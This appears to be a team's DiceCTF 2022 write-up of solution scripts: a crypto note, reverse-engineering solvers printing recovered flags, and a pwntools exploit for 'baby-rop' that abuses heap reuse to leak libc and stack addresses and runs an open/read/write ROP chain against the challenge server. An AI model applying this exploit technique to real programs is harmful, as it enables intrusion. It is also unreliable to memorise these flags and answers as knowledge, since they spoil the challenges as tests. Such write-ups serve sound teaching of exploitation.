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<article class="markdown-body"><h1 id="dicectf-2022"><a class="header-link" href="#dicectf-2022"></a>DiceCTF 2022</h1>
<h2 id="crypto"><a class="header-link" href="#crypto"></a>crypto</h2>
<h3 id="pow-pow"><a class="header-link" href="#pow-pow"></a>pow-pow</h3>
<p><a href="https://gist.github.com/EricTsengTy/067d9abd0ea78debe01b862ac5ccc35f">https://gist.github.com/EricTsengTy/067d9abd0ea78debe01b862ac5ccc35f</a></p>
<pre class="hljs"><code><span class="hljs-attribute">Find</span> b that
<span class="hljs-attribute">b</span> = <span class="hljs-number">2</span>^(<span class="hljs-number">2</span>^k)
<span class="hljs-attribute">h</span> = <span class="hljs-number">1</span>
<span class="hljs-attribute">g</span> = b^M
<span class="hljs-attribute">m</span> = H(g, h)
<span class="hljs-attribute">s</span>.t.
<span class="hljs-attribute">m</span> | M
<span class="hljs-attribute">then</span> we can get pi by
<span class="hljs-attribute">pi</span> = b^(-(M // m) * r)
<span class="hljs-attribute">where</span> r = <span class="hljs-number">2</span>^(<span class="hljs-number">2</span>^<span class="hljs-number">64</span>) % m</code></pre><h2 id="rev"><a class="header-link" href="#rev"></a>rev</h2>
<h3 id="hyperlink"><a class="header-link" href="#hyperlink"></a>hyperlink</h3>
<pre class="hljs"><code>import json
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'hyperlink.json'</span>, <span class="hljs-string">'r'</span>) as f:
data = json.<span class="hljs-built_in">load</span>(f)
charset = <span class="hljs-string">'abcdefghijklmnopqrstuvwxyz{}_'</span>
def run_chain(links, start):
current = start
<span class="hljs-keyword">for</span> link <span class="hljs-built_in">in</span> links:
current = int(<span class="hljs-string">''</span>.<span class="hljs-built_in">join</span>(
<span class="hljs-built_in">str</span>(int(current & component != <span class="hljs-number">0</span>))
<span class="hljs-keyword">for</span> component <span class="hljs-built_in">in</span> link
), <span class="hljs-number">2</span>)
return current
current = data[<span class="hljs-string">'start'</span>]
<span class="hljs-built_in">flag</span> = <span class="hljs-string">'dice{'</span>
chain = [data[<span class="hljs-string">'links'</span>][c] <span class="hljs-keyword">for</span> c <span class="hljs-built_in">in</span> <span class="hljs-built_in">flag</span>]
current = run_chain(chain, data[<span class="hljs-string">'start'</span>])
<span class="hljs-keyword">while</span> (current & data[<span class="hljs-string">'target'</span>]) != data[<span class="hljs-string">'target'</span>] <span class="hljs-built_in">and</span> len(<span class="hljs-built_in">flag</span>) < <span class="hljs-number">34</span>:
tmp = current
<span class="hljs-built_in">count</span> = <span class="hljs-number">0</span>
<span class="hljs-keyword">while</span> (tmp & <span class="hljs-number">1</span> == <span class="hljs-number">1</span>) <span class="hljs-built_in">or</span> (tmp & <span class="hljs-number">2</span> == <span class="hljs-number">0</span>):
tmp >>= <span class="hljs-number">4</span>
<span class="hljs-built_in">count</span> += <span class="hljs-number">4</span>
candidate = []
<span class="hljs-keyword">for</span> c <span class="hljs-built_in">in</span> charset:
<span class="hljs-keyword">if</span> data[<span class="hljs-string">'links'</span>][c][-<span class="hljs-built_in">count</span>-<span class="hljs-number">1</span>] == (<span class="hljs-number">3</span> << <span class="hljs-built_in">count</span>):
candidate.<span class="hljs-built_in">append</span>(c)
<span class="hljs-built_in">assert</span> len(candidate) == <span class="hljs-number">1</span>
chain = [data[<span class="hljs-string">'links'</span>][c] <span class="hljs-keyword">for</span> c <span class="hljs-built_in">in</span> candidate[<span class="hljs-number">0</span>]]
current = run_chain(chain, current)
<span class="hljs-built_in">flag</span> += candidate[<span class="hljs-number">0</span>]
print(<span class="hljs-built_in">flag</span>)
<span class="hljs-meta"># dice{everything_is_linear_algebra}</span></code></pre><h3 id="taxes"><a class="header-link" href="#taxes"></a>taxes</h3>
<h4 id="dg4-a"><a class="header-link" href="#dg4-a"></a>DG4-A</h4>
<pre class="hljs"><code>a = [68, 105, 99, 101, 71, 97, 110, 103, 27, 97, 110, 21, 101, 71, 28, 2]
b = [45, 7, 23, 86, 53, 15, 90, 11, 68, 19, 93, 99, 0, 41, 105, 103]
<span class="hljs-keyword">for</span> x, y <span class="hljs-keyword">in</span> zip(a, b):
<span class="hljs-builtin-name">print</span>(chr(x ^ y), <span class="hljs-attribute">end</span>=<span class="hljs-string">''</span>, <span class="hljs-attribute">flush</span>=<span class="hljs-literal">True</span>)
<span class="hljs-builtin-name">print</span>()
<span class="hljs-comment"># int3rn4l_r3venue</span></code></pre><h4 id="dg4-b"><a class="header-link" href="#dg4-b"></a>DG4-B</h4>
<p><a href="https://gist.github.com/paulhuangkm/c4eff7e4388eb450b4a73fdd28086476">SCRIPT</a></p>
<pre class="hljs"><code>_serv<span class="hljs-number">1</span>ce_<span class="hljs-name">m0</span>re_l<span class="hljs-number">1</span></code></pre><h4 id="dg4-c-dg6"><a class="header-link" href="#dg4-c-dg6"></a>DG4-C (DG6)</h4>
<pre class="hljs"><code><span class="hljs-comment">// All credits to Jwang</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string"><stdio.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string"><stdlib.h></span></span>
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span>{
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">int</span> S1 = <span class="hljs-number">7453001392616335684ULL</span>; <span class="hljs-comment">//low</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">int</span> S2 = <span class="hljs-number">7451565559246643524ULL</span>; <span class="hljs-comment">//high</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">int</span> T1_1 = <span class="hljs-number">0</span>;
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">int</span> T1_2 = <span class="hljs-number">0</span>;
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">int</span> T2_1 = <span class="hljs-number">0</span>;
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">int</span> T2_2 = <span class="hljs-number">0</span>;
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> <span class="hljs-keyword">int</span> x=<span class="hljs-number">0</span>;x<<span class="hljs-number">1000000000000ULL</span>;x++){
<span class="hljs-keyword">if</span>((x%<span class="hljs-number">1000000000</span>)==<span class="hljs-number">0</span>) <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%llu\n"</span>,x);
T1_1 = (S1>><span class="hljs-number">1</span>)|((S2&<span class="hljs-number">1</span>)<<<span class="hljs-number">63</span>);
T1_2 = (S2>><span class="hljs-number">1</span>)|((S1&<span class="hljs-number">1</span>)<<<span class="hljs-number">63</span>);
T1_1|=S1;
T1_2|=S2;
T2_1 = (S1<<<span class="hljs-number">1</span>)|(S2>><span class="hljs-number">63</span>);
T2_2 = (S2<<<span class="hljs-number">1</span>)|(S1>><span class="hljs-number">63</span>);
S1 = T1_1^T2_1;
S2 = T1_2^T2_2;
}
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"%llu %llu"</span>,S2,S1);
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
<span class="hljs-comment">// ke_ink_rev3rs1ng</span></code></pre><h4 id="dg4-d-dg7"><a class="header-link" href="#dg4-d-dg7"></a>DG4-D (DG7)</h4>
<pre class="hljs"><code>As = [<span class="hljs-number">343039</span>,<span class="hljs-number">2733569919</span>,<span class="hljs-number">3492393040</span>,<span class="hljs-number">912986159</span>,<span class="hljs-number">2320019439</span>,<span class="hljs-number">1372387751</span>,
<span class="hljs-number">2734051748</span>,<span class="hljs-number">4183136871</span>,<span class="hljs-number">4131490973</span>,<span class="hljs-number">3331550901</span>,<span class="hljs-number">4039091427</span>,<span class="hljs-number">2011829293</span>,
<span class="hljs-number">4064521974</span>,<span class="hljs-number">2542382404</span>,<span class="hljs-number">662680445</span>,<span class="hljs-number">4244429757</span>,<span class="hljs-number">1907156173</span>,<span class="hljs-number">3140073386</span>,
<span class="hljs-number">1726859438</span>,<span class="hljs-number">1527969902</span>,<span class="hljs-number">3860913000</span>,<span class="hljs-number">2876239582</span>,<span class="hljs-number">2799116963</span>,<span class="hljs-number">1608231135</span>,
<span class="hljs-number">2396613870</span>,<span class="hljs-number">3548248332</span>,<span class="hljs-number">3068050105</span>,<span class="hljs-number">2024408303</span>,<span class="hljs-number">4100972441</span>,<span class="hljs-number">2407182277</span>,
<span class="hljs-number">1794763355</span>,<span class="hljs-number">3196154075</span>,<span class="hljs-number">3732239213</span>,<span class="hljs-number">394919766</span>,<span class="hljs-number">2197149293</span>,<span class="hljs-number">3185198778</span>,
<span class="hljs-number">3952881150</span>,<span class="hljs-number">3885164379</span>,<span class="hljs-number">234597444</span>,<span class="hljs-number">642322623</span>,<span class="hljs-number">3528601129</span>,<span class="hljs-number">3969777425</span>,
<span class="hljs-number">2075901355</span>,<span class="hljs-number">2546415827</span>,<span class="hljs-number">4029539571</span>,<span class="hljs-number">2740974388</span>,<span class="hljs-number">2756514805</span>,<span class="hljs-number">4149925230</span>,
<span class="hljs-number">319648567</span>,<span class="hljs-number">1622441043</span>,<span class="hljs-number">431984786</span>,<span class="hljs-number">1313540411</span>,<span class="hljs-number">4240996349</span>,<span class="hljs-number">3021682383</span>,
<span class="hljs-number">3873385171</span>,<span class="hljs-number">3217995502</span>,<span class="hljs-number">2130511546</span>,<span class="hljs-number">347240441</span>,<span class="hljs-number">3504272675</span>,<span class="hljs-number">1852839691</span>,
<span class="hljs-number">4198741748</span>,<span class="hljs-number">384402019</span>,<span class="hljs-number">1073674067</span>,<span class="hljs-number">2308274366</span>,<span class="hljs-number">1649593849</span>,<span class="hljs-number">1580693221</span>,
<span class="hljs-number">1891223314</span>,<span class="hljs-number">4277757085</span>,<span class="hljs-number">356677631</span>,<span class="hljs-number">3587165417</span>,<span class="hljs-number">785852082</span>,<span class="hljs-number">1844099611</span>,
<span class="hljs-number">2096069838</span>,<span class="hljs-number">2075488364</span>,<span class="hljs-number">635386633</span>,<span class="hljs-number">3098228429</span>,<span class="hljs-number">3426412026</span>,<span class="hljs-number">694611443</span>,
<span class="hljs-number">1308405653</span>,<span class="hljs-number">3435931359</span>,<span class="hljs-number">3870904043</span>,<span class="hljs-number">3193145087</span>,<span class="hljs-number">1325367455</span>,<span class="hljs-number">3757926298</span>,
<span class="hljs-number">2069475259</span>,<span class="hljs-number">2255190751</span>,<span class="hljs-number">1845093732</span>,<span class="hljs-number">2805545695</span>,<span class="hljs-number">2943133433</span>,<span class="hljs-number">1824259504</span>,
<span class="hljs-number">2142133580</span>,<span class="hljs-number">2644404398</span>,<span class="hljs-number">430366110</span>,<span class="hljs-number">2010343702</span>,<span class="hljs-number">2379982082</span>,<span class="hljs-number">4196354527</span>,
<span class="hljs-number">4267409331</span>,<span class="hljs-number">2765708970</span>,<span class="hljs-number">3187365580</span>,<span class="hljs-number">1831014719</span>,<span class="hljs-number">2980964048</span>,<span class="hljs-number">3155948591</span>,
<span class="hljs-number">1474999319</span>,<span class="hljs-number">3019402471</span>,<span class="hljs-number">3811335997</span>,<span class="hljs-number">2886197802</span>,<span class="hljs-number">2478524056</span>,<span class="hljs-number">1563617651</span>,
<span class="hljs-number">2361875522</span>,<span class="hljs-number">691797586</span>,<span class="hljs-number">2011659610</span>,<span class="hljs-number">232149174</span>,<span class="hljs-number">1825673179</span>,<span class="hljs-number">1093592609</span>,
<span class="hljs-number">822015370</span>,<span class="hljs-number">4000387228</span>,<span class="hljs-number">4160386814</span>,<span class="hljs-number">2911296421</span>,<span class="hljs-number">4067921206</span>,<span class="hljs-number">3662955519</span>,
<span class="hljs-number">4183412649</span>,<span class="hljs-number">1714940895</span>,<span class="hljs-number">1804170151</span>,<span class="hljs-number">2146074317</span>,<span class="hljs-number">4265857463</span>,<span class="hljs-number">1748298979</span>,
<span class="hljs-number">2448886932</span>,<span class="hljs-number">4276199443</span>,<span class="hljs-number">1525903074</span>,<span class="hljs-number">970392251</span>,<span class="hljs-number">1340077627</span>,<span class="hljs-number">3553265758</span>,
<span class="hljs-number">4071857050</span>,<span class="hljs-number">3428769418</span>,<span class="hljs-number">422692964</span>,<span class="hljs-number">3711627571</span>,<span class="hljs-number">1215623161</span>,<span class="hljs-number">1342152068</span>,
<span class="hljs-number">2008517966</span>,<span class="hljs-number">2615766190</span>,<span class="hljs-number">3174211036</span>,<span class="hljs-number">84635794</span>,<span class="hljs-number">1811810082</span>,<span class="hljs-number">4242345917</span>,
<span class="hljs-number">4211381217</span>,<span class="hljs-number">1544282103</span>,<span class="hljs-number">4226339213</span>,<span class="hljs-number">2646887223</span>,<span class="hljs-number">1238817226</span>,<span class="hljs-number">1765229974</span>,
<span class="hljs-number">2650691895</span>,<span class="hljs-number">934669108</span>,<span class="hljs-number">4088930102</span>,<span class="hljs-number">1827990831</span>,<span class="hljs-number">322129065</span>,<span class="hljs-number">1570925947</span>,
<span class="hljs-number">4140256803</span>,<span class="hljs-number">3782718380</span>,<span class="hljs-number">4219345613</span>,<span class="hljs-number">2010167885</span>,<span class="hljs-number">714423230</span>,<span class="hljs-number">2842032436</span>,
<span class="hljs-number">2482890916</span>,<span class="hljs-number">4079113151</span>,<span class="hljs-number">3988776550</span>,<span class="hljs-number">3718830182</span>,<span class="hljs-number">2608739728</span>,<span class="hljs-number">3651564519</span>,
<span class="hljs-number">3956746680</span>,<span class="hljs-number">1965976605</span>,<span class="hljs-number">2310035390</span>,<span class="hljs-number">1878613359</span>,<span class="hljs-number">3745949280</span>,<span class="hljs-number">3662274430</span>,
<span class="hljs-number">937860498</span>,<span class="hljs-number">3730106990</span>,<span class="hljs-number">17759318</span>,<span class="hljs-number">3799514325</span>,<span class="hljs-number">3436051645</span>,<span class="hljs-number">2614409852</span>,
<span class="hljs-number">3745109800</span>,<span class="hljs-number">2606620258</span>,<span class="hljs-number">221604262</span>,<span class="hljs-number">4231217596</span>,<span class="hljs-number">4016557533</span>,<span class="hljs-number">1254453423</span>,
<span class="hljs-number">1473231509</span>,<span class="hljs-number">1888270285</span>,<span class="hljs-number">3442580406</span>,<span class="hljs-number">3061638831</span>,<span class="hljs-number">2481107534</span>,<span class="hljs-number">4294244799</span>,
<span class="hljs-number">4234455904</span>,<span class="hljs-number">514456518</span>,<span class="hljs-number">855137327</span>,<span class="hljs-number">3688592311</span>,<span class="hljs-number">970897802</span>,<span class="hljs-number">1765712340</span>,
<span class="hljs-number">3218843744</span>,<span class="hljs-number">1066530491</span>,<span class="hljs-number">3059857109</span>,<span class="hljs-number">587069669</span>,<span class="hljs-number">997953869</span>,<span class="hljs-number">4200885116</span>,
<span class="hljs-number">371843045</span>,<span class="hljs-number">330774306</span>,<span class="hljs-number">3278820337</span>,<span class="hljs-number">1073515613</span>,<span class="hljs-number">1926869885</span>,<span class="hljs-number">3444893756</span>,
<span class="hljs-number">3618851621</span>,<span class="hljs-number">3257098035</span>,<span class="hljs-number">913061864</span>,<span class="hljs-number">718795725</span>,<span class="hljs-number">2766649823</span>,<span class="hljs-number">3016551502</span>,
<span class="hljs-number">3939630008</span>,<span class="hljs-number">3798815605</span>]
<span class="hljs-keyword">A</span> = <span class="hljs-number">0</span>
for a in As:
<span class="hljs-keyword">A</span> <<= <span class="hljs-number">32</span>
<span class="hljs-keyword">A</span> += a
FLAG = ''
def enc(b):
B = <span class="hljs-number">0</span>
for c in b[::-<span class="hljs-number">1</span>]:
B *= <span class="hljs-number">128</span>
B += c
return B
def dec(B):
b = b''
while B != <span class="hljs-number">0</span>:
b += (B & <span class="hljs-number">127</span>).to_bytes(<span class="hljs-number">1</span>, byteorder='little')
B >>= <span class="hljs-number">7</span>
return b
def DG7(A1,B1):
P29 = <span class="hljs-number">1</span>
count = <span class="hljs-number">0</span>
while P29 != <span class="hljs-number">0</span>:
count += <span class="hljs-number">1</span>
P5 = A1 & <span class="hljs-number">3</span>
if P5 == <span class="hljs-number">0</span>: # end
P82 = B1
P29 = <span class="hljs-number">0</span>
elif P5 == <span class="hljs-number">1</span>: # push to stack
P29 = A1 >> <span class="hljs-number">9</span>
P82 = (B1 << <span class="hljs-number">7</span>) + ((A1 >> <span class="hljs-number">2</span>) & <span class="hljs-number">127</span>)
elif P5 == <span class="hljs-number">2</span>: # check if top of stack is <span class="hljs-number">0</span>
if B1 & <span class="hljs-number">127</span> == <span class="hljs-number">0</span>:
P29 = A1 >> <span class="hljs-number">2</span>
P82 = B1
else:
P29 = <span class="hljs-number">0</span>
P82 = <span class="hljs-number">0</span>
else: # arithmetic operation on top <span class="hljs-number">2</span> of stack
P29 = A1 >> <span class="hljs-number">4</span>
P55 = (A1 >> <span class="hljs-number">2</span>) & <span class="hljs-number">3</span>
P61 = (B1 >> <span class="hljs-number">14</span>) << <span class="hljs-number">7</span>
# top <span class="hljs-number">2</span> elements on stack
P62 = B1 & <span class="hljs-number">127</span>
P64 = (B1 >> <span class="hljs-number">7</span>) & <span class="hljs-number">127</span>
if P55 == <span class="hljs-number">0</span>:
P82 = P61 + ((P64 + P62) & <span class="hljs-number">127</span>)
elif P55 == <span class="hljs-number">1</span>:
P82 = P61 + ((P64 - P62) & <span class="hljs-number">127</span>)
elif P55 == <span class="hljs-number">2</span>:
P82 = P61 + ((P64 * P62) & <span class="hljs-number">127</span>)
else:
P82 = P61 + ((P64 ^ P62) & <span class="hljs-number">127</span>)
A1 = P29
B1 = P82
return count
while len(FLAG) < <span class="hljs-number">16</span>:
charset = ''.join(chr(c) for c in range(<span class="hljs-number">32</span>, <span class="hljs-number">128</span>))
for char in charset:
INP = (FLAG.encode() + char.encode()).ljust(<span class="hljs-number">16</span>, b'a')
N = enc(INP)
if DG7(<span class="hljs-keyword">A</span>, N) > <span class="hljs-number">68</span> * (len(FLAG) + <span class="hljs-number">1</span>):
FLAG += char
print(char, end='', flush=True)
print()
# _simul4ti0n_lmao</code></pre><h2 id="pwn"><a class="header-link" href="#pwn"></a>pwn</h2>
<h3 id="baby-rop"><a class="header-link" href="#baby-rop"></a>baby-rop</h3>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
context.arch = <span class="hljs-string">'amd64'</span>
elf = ELF(<span class="hljs-string">'./babyrop'</span>)
libc = ELF(<span class="hljs-string">'./libc.so.6'</span>)
<span class="hljs-comment"># p = elf.process(env = {'LD_PRELOAD': './libc.so.6'})</span>
p = remote(<span class="hljs-string">'mc.ax'</span>, <span class="hljs-number">31245</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create</span>(<span class="hljs-params">idx, <span class="hljs-built_in">len</span>, cont</span>):</span>
p.recvuntil(<span class="hljs-string">b'command: '</span>)
p.sendline(<span class="hljs-string">b'C\n'</span> + <span class="hljs-built_in">str</span>(idx).encode() + <span class="hljs-string">b'\n'</span> + <span class="hljs-built_in">str</span>(<span class="hljs-built_in">len</span>).encode())
p.recvuntil(<span class="hljs-string">b'string: '</span>)
p.send(cont)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">free</span>(<span class="hljs-params">idx</span>):</span>
p.recvuntil(<span class="hljs-string">b'command: '</span>)
p.sendline(<span class="hljs-string">b'F\n'</span> + <span class="hljs-built_in">str</span>(idx).encode())
p.recvuntil(<span class="hljs-string">b'index: '</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read</span>(<span class="hljs-params">idx</span>):</span>
p.recvuntil(<span class="hljs-string">b'command: '</span>)
p.sendline(<span class="hljs-string">b'R\n'</span> + <span class="hljs-built_in">str</span>(idx).encode())
p.recvuntil(<span class="hljs-string">b'index: '</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">write</span>(<span class="hljs-params">idx, cont</span>):</span>
p.sendline(<span class="hljs-string">b'W\n'</span> + <span class="hljs-built_in">str</span>(idx).encode())
p.recvuntil(<span class="hljs-string">b'string: '</span>)
p.send(cont)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exit</span>():</span>
p.recvuntil(<span class="hljs-string">b'command: '</span>)
p.send(<span class="hljs-string">b'E'</span>)
p.sendline(<span class="hljs-string">b'1'</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parse_hex</span>():</span>
p.recvuntil(<span class="hljs-string">b'hex-encoded bytes\n'</span>)
ls = p.recvline()[:-<span class="hljs-number">1</span>].split(<span class="hljs-string">b' '</span>)[<span class="hljs-number">1</span>:]
lb = []
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(ls) // <span class="hljs-number">8</span>):
x = <span class="hljs-built_in">int</span>(ls[i * <span class="hljs-number">8</span> + <span class="hljs-number">7</span>], <span class="hljs-number">16</span>)
<span class="hljs-keyword">for</span> o <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">6</span>, -<span class="hljs-number">1</span>, -<span class="hljs-number">1</span>):
x <<= <span class="hljs-number">8</span>
x += <span class="hljs-built_in">int</span>(ls[i * <span class="hljs-number">8</span> + o], <span class="hljs-number">16</span>)
lb.append(x)
<span class="hljs-keyword">return</span> lb
create(<span class="hljs-number">0</span>, <span class="hljs-number">0x10</span>, <span class="hljs-string">b'a'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">9</span>):
create(i, <span class="hljs-number">0x80</span>, <span class="hljs-string">b'a'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, -<span class="hljs-number">1</span>):
free(i)
free(<span class="hljs-number">0</span>)
free(<span class="hljs-number">1</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">2</span>, <span class="hljs-number">7</span>):
create(i, <span class="hljs-number">0x10</span>, p64(<span class="hljs-number">0x8</span>))
read(<span class="hljs-number">1</span>)
lh = parse_hex()
libc_leak = lh[<span class="hljs-number">0</span>] - <span class="hljs-number">0x30</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ch_ptr</span>(<span class="hljs-params">ptr, <span class="hljs-built_in">len</span></span>):</span>
write(<span class="hljs-number">6</span>, p64(<span class="hljs-built_in">len</span>)+ p64(ptr))
libc_base = libc_leak - <span class="hljs-number">0x1f4c90</span>
libc.address = libc_base
environ_off = <span class="hljs-number">0x1fcec0</span>
ch_ptr(libc_base + environ_off, <span class="hljs-number">0x8</span>)
read(<span class="hljs-number">0</span>)
lh = parse_hex()
stack_leak = lh[<span class="hljs-number">0</span>]
ret_addr = stack_leak - <span class="hljs-number">0x140</span>
buf = <span class="hljs-number">0x404100</span>
buf2 = <span class="hljs-number">0x404300</span>
flag_addr = <span class="hljs-number">0x404500</span>
flag_buf = <span class="hljs-number">0x404600</span>
leave_ret = <span class="hljs-number">0x00000000004012da</span>
pop_rdi = <span class="hljs-number">0x000000000002d7dd</span> + libc_base
pop_rsi = <span class="hljs-number">0x000000000002eef9</span> + libc_base
pop_rdx = <span class="hljs-number">0x00000000000d9c2d</span> + libc_base
pop_rcx = <span class="hljs-number">0x0000000000110f8b</span> + libc_base
rop = flat([buf2, pop_rdi, flag_addr, pop_rsi, <span class="hljs-number">0</span>, pop_rdx, <span class="hljs-number">0</span>, libc.symbols[<span class="hljs-string">'open'</span>]
, pop_rdi, <span class="hljs-number">3</span>, pop_rsi, flag_buf, pop_rdx, <span class="hljs-number">0x100</span>, libc.symbols[<span class="hljs-string">'read'</span>]
, pop_rdi, <span class="hljs-number">1</span>, pop_rsi, flag_buf, pop_rdx, <span class="hljs-number">0x100</span>, libc.symbols[<span class="hljs-string">'write'</span>]])
ch_ptr(flag_addr, <span class="hljs-number">0x30</span>)
write(<span class="hljs-number">0</span>, <span class="hljs-string">b'./flag.txt'</span>)
ch_ptr(buf, <span class="hljs-built_in">len</span>(rop))
write(<span class="hljs-number">0</span>, rop)
ch_ptr(ret_addr - <span class="hljs-number">0x8</span>, <span class="hljs-number">0x10</span>)
write(<span class="hljs-number">0</span>, p64(buf) + p64(leave_ret))
exit()
p.interactive()
<span class="hljs-comment"># main_arena = __malloc_hook - 0x7500</span></code></pre> </article>
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